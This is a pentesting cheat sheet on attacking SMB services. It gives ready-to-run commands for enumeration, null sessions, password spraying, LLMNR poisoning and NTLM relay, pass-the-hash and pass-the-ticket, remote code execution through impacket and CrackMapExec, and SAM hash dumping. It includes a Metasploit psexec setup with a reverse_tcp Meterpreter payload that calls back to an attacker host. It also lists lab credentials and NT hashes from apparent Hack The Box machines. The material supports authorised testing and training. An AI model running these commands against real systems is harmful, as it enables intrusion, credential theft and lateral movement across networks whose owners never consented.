Skip to content

SMB (139/445)

Information Gathering and exploitation of SMB (139/445).

Published on
Published on

SMB Architecture and Protocol Basics

The Server Message Block (SMB) protocol is a client-server communication protocol used for sharing access to files, printers, serial ports, and other resources on a network. Originally running on top of NetBIOS over TCP/IP (NBT) using TCP port 139 and UDP ports 137/138, modern Windows environments (since Windows 2000) default to running SMB directly over TCP port 445. Additionally, SMB serves as a transport medium for Microsoft Remote Procedure Call (MSRPC) via named pipes (e.g., \PIPE\srvsvc), allowing remote administrative functions to run seamlessly.

Active Reconnaissance and Service Discovery

This phase focuses on identifying active hosts running SMB services within the scoped environment, fingerprinting the exact version of the operating system, and validating which dialects of SMB are supported (e.g., SMBv1, SMBv2, or SMBv3). Discovering these parameters early helps pinpoint legacy systems or configuration weaknesses such as missing message signing.

Network Scanning and NetBIOS Identification

Before diving into targeted attacks, wide-scope scanning identifies exposed SMB ports and queries the legacy NetBIOS Name Service (NBNS) over UDP port 137 to resolve hostnames, workgroups, and MAC addresses. This helps map out the topography of the local subnet.

Command/LinkDescription
sudo nmap -sV -sC -p139,445 <Target_IP>Scans standard SMB ports to determine service versions, OS details, and default security configurations.
nmap -v -p 139,445 -oG smb.txt 192.168.50.1-254Performs a fast, greppable host discovery sweep across a class C subnet /24 targeting port 139 and 445.
sudo nbtscan -r 192.168.50.0/24Queries the NetBIOS name service over UDP port 137 to retrieve NetBIOS names, MAC addresses, and active services.

Nmap Scripting Engine (NSE) Discovery

Nmap contains specialized scripts designed to interact with the SMB protocol structure. These scripts can passively and actively finger-print security settings, detect OS information, map active shares, and flag high-impact vulnerabilities without requiring native Windows tools.

Command/LinkDescription
ls -1 /usr/share/nmap/scripts/smb*Lists all local NSE scripts specialized in auditing, fingerprinting, and exploiting SMB protocols.
nmap -v -p 139,445 --script smb-os-discovery <Target_IP>Runs the smb-os-discovery script to harvest remote OS version, computer name, domain name, and workgroup details.
Nmap SMB NSE DocsOfficial resource mapping out all built-in scripts used for security audits on Windows file shares.

Anonymous and Guest Enumeration

Anonymous and guest enumeration targets misconfigured SMB servers that allow connections without valid domain credentials (null sessions). When successful, an attacker can extract network structure data, list active shares, read sensitive documents, and map active domain accounts.

Anonymous Authentication and Null Session Connection

A null session is an unauthenticated connection established with an SMB server using an empty username and password. This technique exploits permissive policies (especially on legacy or poorly hardened systems) to list available shares and system configurations.

Command/LinkDescription
smbclient -N -L //<Target_IP>Attempts an unauthenticated (Null Session) list of active shares, showing the name, type, and associated remarks.
crackmapexec smb <Target_IP> -u '' -p '' --sharesLeverages CrackMapExec (CME) to test null credentials and dump all visible shares along with read/write permissions.
netexec smb <Target_IP> -u '' -p '' --sharesUses NetExec (nxc) to check anonymous access permissions across active administrative and user-defined shares.
net view \\\\<Host_Name> /allNative Windows command used on domain-joined clients to enumerate all remote network directories of a specific server.

Recursive Directory Browsing and Share Interaction

Once share names are discovered, recursive searching allows an attacker to automatically traverse nested folders, locate files of interest, and interact with the filesystem. Depending on the exposed permissions, files can either be downloaded or uploaded to stage payloads.

Command/LinkDescription
smbmap -H <Target_IP>Probes target hosts for guest/null session permissions and maps accessible directories.
smbmap -H <Target_IP> -r <Share_Name>Recursively lists all subfolders and files hosted inside the target directory.
smbmap -H <Target_IP> --download "<Share_Name>\<Path_To_File>"Downloads a specified target file from an unauthenticated share directly to your local workspace.
smbmap -H <Target_IP> --upload <Local_File> "<Share_Name>\<Destination>"Uploads a local script, binary, or configuration file onto an SMB share with WRITE access.
smbclient -U <User> \\\\<Target_IP>\\<Share_Name>Spawns an interactive SMB shell bound to a particular share using defined credentials.

Recursive Non-Interactive Download of All Files

To non-interactively mirror all remote files hosted on a target share locally without manual confirmation prompts:

Terminal window
smbclient //<Target_IP>/<Share_Name> -U "%" -c "prompt OFF; recurse ON; mget *"

Automated Enumeration Tooling

Automated tools streamline the extraction of host configurations, system policies, SIDs, RIDs, and domain groups. By standardizing the collection process, these tools ensure no critical misconfigurations are overlooked.

Command/LinkDescription
enum4linux <Target_IP>Legacy automation script to pull domain SID, password policies, user lists, and shares from Samba targets.
enum4linux -u 'guest' -p '' -r <Target_IP>Instructs enum4linux to perform RID/SID brute-forcing utilizing a guest session to identify hidden domain accounts.
sudo crackmapexec smb <Target_IP> -u '' -p '' -M spider_plus --share '<Share_Name>'Uses the CME spider_plus module to autonomously map, index, and dump metadata for all files found on the accessible share.
./enum4linux-ng.py <Target_IP> -A -CModern python3 alternative executing complete active directory and SMB architecture audits, with colorized JSON output capabilities.

MSRPC Connections and User Enumeration via rpcclient

Using rpcclient, testers can establish an authenticated or unauthenticated MSRPC connection to query system endpoints directly. This interface allows low-level commands that query user databases, relative identifiers (RIDs), security identifiers (SIDs), and service properties directly from the OS.

Command/LinkDescription
rpcclient -U "%" <Target_IP>Initiates a null session interface with the target’s MSRPC endpoint.
rpcclient -U "<User>%<Password>" <Target_IP>Authenticates against MSRPC with credentials to query low-level domain metadata.
srvinforpcclient query: Gathers OS version details and server type information.
enumdomainsrpcclient query: Lists all known local/enterprise domains deployed within the network structure.
querydominforpcclient query: Returns detailed structural information on domain servers, domain SID, and users.
netshareenumallrpcclient query: Lists all directories and RPC pipes exposed across the SMB service.
netsharegetinfo <Share_Name>rpcclient query: Details security descriptors and specific server attributes of a chosen directory.
enumdomusersrpcclient query: Enumerates all local or Domain users and retrieves their unique relative identifiers (RIDs).
queryuser <RID>rpcclient query: Pulls precise user account parameters (such as password age, logon times, and groups) by querying the SID/RID.

Active Credential Hunting inside Network Shares

Network shares often act as informal repositories for sensitive data, backup configurations, scripts, and document files. Active credential hunting targets these storage areas, using automated pattern matching to find plain-text passwords, configuration files, and private keys.

Passive and Pattern-Based Extraction on Windows

When operating from a Windows-based testing platform, native tools and highly optimized automated scanners can rapidly crawl domain-wide shares. These utilities use specific heuristics to flag sensitive file names or match structural keywords.

Command/LinkDescription
Snaffler.exe -sExecuted locally from a Windows host to hunt for passwords, certificates, configuration secrets, and keys inside network shares.
Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\Users\PublicUses the PowerHuntShares module to analyze accessible SMB configurations and search for exposed credentials across multiple systems.
Snaffler GitHub ProjectMulti-threaded binary designed for scanning AD environments and cataloging high-value files matching sensitive regexes.

Linux-Based Share Mining and Pattern Spidering

From Linux-based attacking platforms, testers rely on command-line utilities and specialized SMB client libraries to “spider” remote directories. These tools dynamically scan file contents for specific patterns, such as hardcoded administrator credentials.

Command/LinkDescription
docker run --rm -v ./manspider:/root/.manspider blacklanternsecurity/manspider <Target_IP> -c 'passw' -u '<User>' -p '<Password>'Runs MANSPIDER inside a container to login to shares and crawl file content looking for the pattern ‘passw’.
nxc smb <Target_IP> -u <User> -p '<Password>' --spider <Share_Name> --content --pattern "passw"Spiders a specific share folder using NetExec to search for the string “passw” inside text documents.
nxc smb <Target_IP> -u <User> -p '<Password>' --spider <Share_Name> --content --pattern "Administrator"Searches inside shared documents for references to administrative accounts, keys, or hardcoded passwords.

Password Attacks and Forced Authentication

If passive and anonymous methods yield no results, active attacks can attempt to compromise user passwords. These methods include online brute forcing, spraying, or intercepting authentications using link-local multicast protocol poisoning.

Brute Forcing and Password Spraying

Password spraying tests a single weak password against a broad list of usernames, avoiding account lockout policies that are triggered by traditional brute forcing. Conversely, targeted brute forcing systematically tries many password variations against a single high-value account.

Command/LinkDescription
crackmapexec smb <Target_IP> -u /tmp/userlist.txt -p 'Company01!' --local-authSprays a single password against a list of local accounts to identify valid credentials without causing account lockouts.
crackmapexec smb <Target_IP> -u 'j.fleischman' -p 'J0elTHEM4n1990!' -d <Domain> --continue-on-successValidates target credentials against active directory domain systems, continuing the scan even after finding valid user mappings.
sudo crackmapexec smb <Target_IP> -u 'guest' -p '' --rid-brutePerforms relative identifier (RID) brute-forcing starting from 500 onwards to reconstruct a target user database.
hydra -L user.list -P password.list smb://<Target_IP>Employs Hydra to run a parallelized multi-threaded dictionary attack against the target SMB daemon.

Running Metasploit SMB Login Scanner

To perform high-efficiency directory password validation using Metasploit, launch the console and configure the scanner module as follows:

Terminal window
msfconsole -q
use auxiliary/scanner/smb/smb_login
set rhosts <Target_IP>
set SMBUSER <User>
set PASS_FILE ./pws.list
set stop_on_success true
run

Forced Hash Collection via LLMNR/NBT-NS Poisoning

Forced authentication attacks exploit how Windows systems resolve hostnames when DNS lookup fails. By poisoning LLMNR, NBT-NS, and mDNS requests, a rogue server can intercept the victim’s connection attempts and capture their NetNTLMv1/v2 cryptographic challenge-response hashes.

Command/LinkDescription
sudo responder -I <Interface>Starts Responder to monitor broadcast traffic (LLMNR, NBT-NS, mDNS), spoof legitimate systems, and collect NetNTLMv1/v2 credentials.
/usr/share/responder/logs/Default repository containing raw captured NetNTLM challenge-response outputs.
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txtCracks NTLMv2 challenge-response hashes (mode 5600) using high-speed GPU dictionary mutations.

SMB Relaying Attacks

When an intercepted NetNTLM authentication cannot be cracked offline, it can be relayed to another target on the network. If the victim has administrative privileges on the target and SMB signing is not required, the relayed authentication allows code execution or password hash extraction.

Execution Steps: NTLM Relay Attack

To configure and execute an SMB relay attack to automatically dump the SAM database of a target machine:

Terminal window
# Step 1: Disable the SMB and HTTP servers inside Responder's configuration file
sudo sed -i 's/SMB = On/SMB = Off/g' /etc/responder/Responder.conf
sudo sed -i 's/HTTP = On/HTTP = Off/g' /etc/responder/Responder.conf
# Step 2: Start Responder on your interface to poison broadcast names
sudo responder -I ens33
# Step 3: Run the NTLM Relay utility targeting the victim host
impacket-ntlmrelayx --no-http-server -smb2support -t <Target_IP>

Lateral Movement and Domain Authentication

Once initial access or administrative materials are secured, testers can perform lateral movement across the internal network. This phase leverages Pass-the-Hash (PtH), Pass-the-Ticket (PtT), and Pass-the-Certificate (PtC) techniques to move across systems without needing password plaintext values.

Pass-the-Hash (PtH) Exploitation

Pass-the-Hash bypasses standard interactive login prompts by authenticating directly with the user’s NTLM (specifically NT) hash. Since Windows translates passwords into these hashes prior to transmission, having the hash is functionally equivalent to holding the cleartext password.

Command/LinkDescription
impacket-psexec administrator@<Target_IP> -hashes :30B3783CE2ABF1AF70F77D0660CF3453Bypasses standard password authentication to gain a SYSTEM shell using only a captured NT hash (the LM side is left empty).
crackmapexec smb <Target_IP> -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FEAuthenticates across target hosts using a specified NT hash to verify administrative access rights.
netexec smb <Target_IP> -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453 -x whoamiUses NetExec to execute a custom system command across target systems via the Pass-the-Hash technique.

Pass-the-Hash via Metasploit PsExec

To execute commands or obtain a Meterpreter shell using a captured NT password hash:

Terminal window
msfconsole -q
use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set LHOST <Local_IP>
set LPORT 443
set RHOST <Target_IP>
set SMBUser Administrator
set SMBPass 00000000000000000000000000000000:2B576ACBE6BCFDA7294D6BD18041B8FE
exploit

Pass-the-Ticket (PtT) Exploitation

Pass-the-Ticket utilizes cached Kerberos tickets (TGT or TGS) rather than NTLM credentials. Captured tickets are loaded directly into memory or specified in environment configurations, allowing authentications to resources like the Active Directory Domain Controller.

Execution Steps: Authenticating via Ticket Granting Ticket (TGT)

To request, load, and leverage a Kerberos ticket context on a Linux penetration testing machine:

Terminal window
# Step 1: Initialize ticket context from a mapped keytab file
kinit svc_workstations@INLANEFREIGHT.HTB -k -t /home/carlos@inlanefreight.htb/.scripts/svc_workstations.kt
# Step 2: Verify the ticket is loaded and valid in cache
klist
# Step 3: Connect using the cached ticket (suppress password prompt)
smbclient //dc01.inlanefreight.htb/svc_workstations -c 'ls' -k -no-pass

Pass-the-Certificate (PtC) Exploitation

In environments with active Active Directory Certificate Services (ADCS), certificate templates can be abused to request and generate Kerberos Ticket Granting Tickets. This method establishes domain persistence using cryptographic certificates instead of conventional passwords.

Command/LinkDescription
impacket-ntlmrelayx -t http://<ADCS_IP>/certsrv/certfnsh.asp --adcs -smb2support --template KerberosAuthenticationRelays incoming NTLM connection attempts to Active Directory Certificate Services (ADCS) to generate a valid Kerberos certificate.

SSH Kerberos Authentication via SMB-Generated Files

In environments running cross-platform authentication, Kerberos tickets generated via Windows services can be imported onto Linux machines. This allows authentications over SSH sessions using GSSAPI (Generic Security Service Application Program Interface) mechanisms.

Execution Steps: Mapped SSH Kerberos Session

Follow these steps to generate, apply, and execute a Kerberos ticket context for GSSAPI SSH access:

Terminal window
# Step 1: Leverage NetExec to query the domain controller and auto-build your krb5.conf file
netexec smb frizzdc.frizz.htb -u f.frizzle -p 'Jenni_Luvs_Magic23' -k --generate-krb5-file krb5.conf
# Step 2: Replace the system Kerberos configuration mapping with the newly generated template
sudo cp krb5.conf /etc/krb5.conf
# Step 3: Request and cache a Ticket Granting Ticket (TGT) for the user
kinit f.frizzle
# Step 4: Establish a secure SSH session using GSSAPI delegation
ssh -k f.frizzle@frizzdc.frizz.htb

Remote Code Execution and Post-Exploitation

With administrative credentials or access hashes secured, testers can perform Remote Code Execution (RCE) on the target. This phase establishes persistent control, registers system payloads, and extracts authentication data from local memory or storage databases.

Remote Command Execution (RCE) Techniques

RCE over SMB commonly utilizes the administrative ADMIN$ share to upload a custom service executable, which is then registered and executed via the Windows Service Control Manager (SCM). Alternative methods execute commands through the Task Scheduler or WMI.

Command/LinkDescription
impacket-psexec administrator:'Password123!'@<Target_IP>Uploads an executable service binary onto the admin share, starts it, and returns an interactive SYSTEM shell.
impacket-smbexec administrator:'Password123!'@<Target_IP>Semi-interactive shell replacement that avoids service binary uploads by executing direct CMD commands through a local SMB transport.
impacket-atexec administrator:'Password123!'@<Target_IP> "whoami"Executes arbitrary commands through the Windows Task Scheduler, returning the stdout directly.
crackmapexec smb <Target_IP> -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexecLeverages CrackMapExec to execute a shell command across targets using smbexec or atexec execution methods.

Post-Exploitation Credential Extraction

Once system-level privileges are established on a host, post-exploitation steps focus on extracting stored credentials. This includes dumping local user accounts from the Security Account Manager (SAM) database or finding active user sessions across the network.

Command/LinkDescription
crackmapexec smb <Target_IP> -u administrator -p 'Password123!' --samDumps NT/LM password hashes stored inside the remote machine’s Security Account Manager (SAM) database.
crackmapexec smb <Subnet/Mask> -u administrator -p 'Password123!' --loggedon-usersEnumerates and queries active logons and connected sessions across the targeted IP scope.

Known Vulnerabilities and Exploitation Reference

The history of the SMB protocol is marked by high-severity, wormable vulnerabilities. Keeping track of legacy exploits, patching criteria, and vendor bulletins is essential for diagnosing unpatched legacy Windows hosts still deployed in production environments.

SMBGhost and Legacy Exploits

Vulnerabilities in SMB compression handling or buffer validation (such as SMBGhost) allow unauthenticated remote attackers to execute code at the kernel level. Documenting these vulnerabilities helps prioritize remediation tasks for the target organization.

Command/LinkDescription
CVE-2020-0796Reference for SMBGhost, a critical wormable Remote Code Execution vulnerability in Windows 10/Server compression handlers.
SMBGhost Wormable Vulnerability AnalysisDetailed analysis outlining CVE-2020-0796 mechanisms and exploitation proof-of-concepts.
Exploit-DB CVE-2020-0796 PoCDirect download link containing working python execution frameworks for SMBGhost.

Running Default Credential Searches

To quickly cross-reference local router, network device, or configuration administration default configurations:

Terminal window
# Install the default credential lookup engine
pip3 install defaultcreds-cheat-sheet
# Search for default configurations related to a manufacturer (e.g., linksys)
creds search linksys